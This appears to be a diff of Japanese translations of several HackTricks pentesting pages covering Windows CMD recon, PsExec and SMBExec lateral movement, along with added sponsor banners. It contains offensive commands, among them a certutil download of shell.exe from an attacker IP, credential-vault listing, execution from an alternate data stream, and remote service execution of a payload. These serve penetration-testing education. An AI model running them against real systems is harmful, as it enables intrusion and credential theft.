* [https://github.com/l0ss/Grouper2](ps://github.com/l0ss/Group) * [https://github.com/l0ss/Grouper2](ps://github.com/l0ss/Group)
* [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html) * [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
* [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/) * [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
### Pythonを使用したインジェクタの例: ### Pythonを使用したインジェクタの例:
* [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo) * [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
@ -563,17 +569,23 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion) * [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,20 +1,28 @@
# 基本的なWin CMD for Pentesters # 基本的なWin CMD for Pentesters
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## システム情報 ## システム情報
### バージョンとパッチ情報 ### バージョンとパッチ情報
@ -170,7 +178,7 @@ klist sessions
``` ```
net accounts net accounts
``` ```
### 資格情報 ### 認証情報
```bash ```bash
cmdkey /list #List credential cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
@ -280,7 +288,7 @@ Certutil.exe
``` ```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
``` ```
**`Download`を検索してさらに多くの情報を見つけるには** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/) **`Download`を検索してさらに多くを見つける** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/)
## その他 ## その他
```bash ```bash
@ -409,6 +417,15 @@ wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfil
# Execute a script stored in an ADS using PowerShell # Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt powershell -ep bypass - < c:\temp:ttt
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -418,8 +435,8 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,9 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## どのように機能するか ## どのように機能するか
プロセスは以下のステップで概説されており、SMBを介してターゲットマシンでリモート実行を達成するためにサービスバイナリがどのように操作されるかを示しています。 プロセスは以下のステップで概説されており、サービスバイナリがどのように操作され、SMBを介してターゲットマシンでリモート実行を達成するかを示しています:
1. **ADMIN$共有にサービスバイナリをSMB経由でコピー**します。 1. **ADMIN$共有にサービスバイナリをSMB経由でコピー**します。
2. **リモートマシン上にサービスを作成**し、バイナリを指します。 2. **リモートマシン上にサービスを作成**し、バイナリを指します。
@ -26,11 +30,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### **PsExecを手動で実行するプロセス** ### **PsExecを手動で実行するプロセス**
msfvenomで作成され、ウイルス対策検出を回避するためにVeilを使用して難読化された実行可能ペイロード「met8888.exe」を仮定すると、以下のステップが取られます。 msfvenomで作成され、ウイルス対策検出を回避するためにVeilを使用して難読化された実行可能ペイロード「met8888.exe」があると仮定します。これはmeterpreter reverse_httpペイロードを表します。以下のステップが取られます
* **バイナリのコピー**: 実行可能ファイルはコマンドプロンプトからADMIN$共有にコピーされますが、ファイルシステムのどこにでも配置して隠すことができます。 * **バイナリのコピー**実行可能ファイルはコマンドプロンプトからADMIN$共有にコピーされますが、ファイルシステムのどこにでも配置して隠すことができます。
* **サービスの作成**: Windowsの`sc`コマンドを使用して、リモートでWindowsサービスを照会、作成、削除することができ、「meterpreter」という名前のサービスがアップロードされたバイナリを指すように作成されます。 * **サービスの作成**Windowsの`sc`コマンドを使用して、リモートでWindowsサービスを照会、作成、削除することができ、「meterpreter」という名前のサービスがアップロードされたバイナリを指すように作成されます。
* **サービスの開始**: 最後のステップはサービスを開始することで、バイナリが本物のサービスバイナリでないため、期待される応答コードを返さず「タイムアウト」エラーが発生する可能性があります。このエラーは、バイナリの実行が主な目的であるため、重要ではありません。 * **サービスの開始**:最終ステップはサービスを開始することで、バイナリが本物のサービスバイナリでないため、期待される応答コードを返さず「タイムアウト」エラーが発生する可能性があります。このエラーは、主な目的がバイナリの実行であるため、重要ではありません。
Metasploitリスナーを観察すると、セッションが正常に開始されたことがわかります。 Metasploitリスナーを観察すると、セッションが正常に開始されたことがわかります。
@ -38,11 +42,11 @@ Metasploitリスナーを観察すると、セッションが正常に開始さ
詳細な手順については、[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)を参照してください。 詳細な手順については、[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)を参照してください。
**Windows SysinternalsバイナリPsExec.exeを使用することもできます:** **Windows SysinternalsバイナリPsExec.exeを使用することもできます**
![](<../../.gitbook/assets/image (928).png>) ![](<../../.gitbook/assets/image (928).png>)
[**SharpLateral**](https://github.com/mertdas/SharpLateral)を使用することもできます: [**SharpLateral**](https://github.com/mertdas/SharpLateral)を使用することもできます
{% code overflow="wrap" %} {% code overflow="wrap" %}
``` ```
@ -50,17 +54,21 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
``` ```
{% endcode %} {% endcode %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,13 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**重要なビジネスに影響を与える、悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## How it Works ## How it Works
**Smbexec**は、Windowsシステムでのリモートコマンド実行に使用されるツールで、**Psexec**に似ていますが、ターゲットシステムに悪意のあるファイルを配置することを避けます。 **Smbexec**は、Windowsシステムでのリモートコマンド実行に使用されるツールで、**Psexec**に似ていますが、ターゲットシステムに悪意のあるファイルを置くことを避けます。
### Key Points about **SMBExec** ### Key Points about **SMBExec**
- ターゲットマシン上に一時的なサービス例えば、「BTOBTO」を作成してcmd.exe (%COMSPEC%) を介してコマンドを実行し、バイナリを落とさないように動作します。 - ターゲットマシン上に一時的なサービス例えば、「BTOBTO」を作成してcmd.exe (%COMSPEC%)を介してコマンドを実行し、バイナリを落とさないように動作します。
- ステルスなアプローチにもかかわらず、実行された各コマンドのイベントログを生成し、非対話型の「シェル」の形式を提供します。 - ステルスなアプローチにもかかわらず、実行された各コマンドのイベントログを生成し、非対話型の「シェル」の形式を提供します。
- **Smbexec**を使用して接続するためのコマンドは次のようになります: - **Smbexec**を使用して接続するためのコマンドは次のようになります:
```bash ```bash
@ -29,9 +37,9 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
``` ```
### バイナリなしでコマンドを実行する ### バイナリなしでコマンドを実行する
- **Smbexec** は、ターゲット上に物理的なバイナリを必要とせずにサービスの binPaths を通じて直接コマンドを実行することを可能にします。 - **Smbexec** は、ターゲット上に物理的なバイナリが不要なサービス binPaths を通じて直接コマンドを実行することを可能にします。
- この方法は、Windows ターゲット上で一時的なコマンドを実行するのに便利です。例えば、Metasploit の `web_delivery` モジュールと組み合わせることで、PowerShell 対象のリバース Meterpreter ペイロードを実行できます。 - この方法は、Windows ターゲット上で一時的なコマンドを実行するのに便利です。例えば、Metasploit の `web_delivery` モジュールと組み合わせることで、PowerShell 対象のリバース Meterpreter ペイロードを実行できます。
- cmd.exe を通じて提供されたコマンドを実行するように binPath を設定したリモートサービスを攻撃者のマシン上に作成することで、サービス応答エラーが発生しても、ペイロードを成功裏に実行し、Metasploit リスナーとのコールバックとペイロード実行を達成することが可能です。 - cmd.exe を通じて提供されたコマンドを実行するように binPath を設定した攻撃者のマシン上にリモートサービスを作成することで、サービス応答エラーが発生しても、ペイロードを成功裏に実行し、Metasploit リスナーでコールバックとペイロードの実行を達成することが可能です。
### コマンドの例 ### コマンドの例
@ -45,6 +53,14 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
## 参考文献 ## 参考文献
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) * [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見てみましょう
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -55,7 +71,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,50 +1,57 @@
# PsExec/Winexec/ScExec # PsExec/Winexec/ScExec
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## どのように機能するか ## どのように機能するか
プロセスは以下のステップで概説されており、サービスバイナリがどのように操作され、SMBを介してターゲットマシンでリモート実行を達成するかを示しています。 このプロセスは、SMBを介してターゲットマシンでリモート実行を達成するためにサービスバイナリがどのように操作されるかを示す以下のステップで概説されています:
1. **ADMIN$共有にサービスバイナリをSMB経由でコピー**します。 1. **ADMIN$共有にサービスバイナリをSMB経由でコピー**します。
2. **リモートマシン上にサービスを作成**し、バイナリを指し示します。 2. **リモートマシンでサービスを作成**し、バイナリを指します。
3. サービスが**リモートで開始**されます。 3. サービスが**リモートで開始**されます。
4. 終了時に、サービスは**停止され、バイナリは削除**されます。 4. 終了時に、サービスは**停止され、バイナリは削除**されます。
### **PsExecを手動で実行するプロセス** ### **PsExecを手動で実行するプロセス**
msfvenomで作成され、Veilを使用してウイルス対策ソフトウェアの検出を回避するように難読化された実行可能ペイロード「met8888.exe」を仮定すると、以下のステップが取られます msfvenomで作成され、ウイルス対策検出を回避するためにVeilを使用して難読化された実行可能ペイロード「met8888.exe」を仮定すると、以下のステップが取られます
- **バイナリのコピー**: 実行可能ファイルはコマンドプロンプトからADMIN$共有にコピーされますが、ファイルシステムのどこにでも配置して隠すことができます。 - **バイナリのコピー**: 実行可能ファイルはコマンドプロンプトからADMIN$共有にコピーされますが、ファイルシステムのどこにでも配置して隠すことができます。
- **サービスの作成**: Windowsの`sc`コマンドを使用して、リモートでWindowsサービスを照会、作成、削除することができ、「meterpreter」という名前のサービスがアップロードされたバイナリを指すように作成されます。 - **サービスの作成**: Windowsの`sc`コマンドを使用して、リモートでWindowsサービスを照会、作成、削除することができ、「meterpreter」という名前のサービスがアップロードされたバイナリを指すように作成されます。
- **サービスの開始**: 最後のステップはサービスを開始することで、バイナリが本物のサービスバイナリでないため、期待される応答コードを返さず「タイムアウト」エラーが発生する可能性があります。このエラーは、バイナリの実行が主な目的であるため、重要ではありません。 - **サービスの開始**: 最後のステップはサービスを開始することで、バイナリが本物のサービスバイナリでないため、期待される応答コードを返さず「タイムアウト」エラーが発生する可能性があります。このエラーは、バイナリの実行が主な目的であるため、重要ではありません。
Metasploitリスナーを観察すると、セッションが正常に開始されたことがわかります。 Metasploitリスナーを観察すると、セッションが正常に開始されたことがわかります。
[`sc`コマンドの詳細を学ぶ](https://technet.microsoft.com/en-us/library/bb490995.aspx)。 [scコマンドの詳細を学ぶ](https://technet.microsoft.com/en-us/library/bb490995.aspx)。
詳細なステップについては、[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)を参照してください。 詳細な手順については、[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)を参照してください。
**Windows SysinternalsバイナリPsExec.exeを使用することもできます:** **Windows SysinternalsバイナリPsExec.exeも使用できます:**
![](<../../.gitbook/assets/image (165).png>) ![](<../../.gitbook/assets/image (165).png>)
[**SharpLateral**](https://github.com/mertdas/SharpLateral)を使用することもできます: [**SharpLateral**](https://github.com/mertdas/SharpLateral)も使用できます:
{% code overflow="wrap" %} {% code overflow="wrap" %}
``` ```
@ -52,6 +59,13 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
``` ```
{% endcode %} {% endcode %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
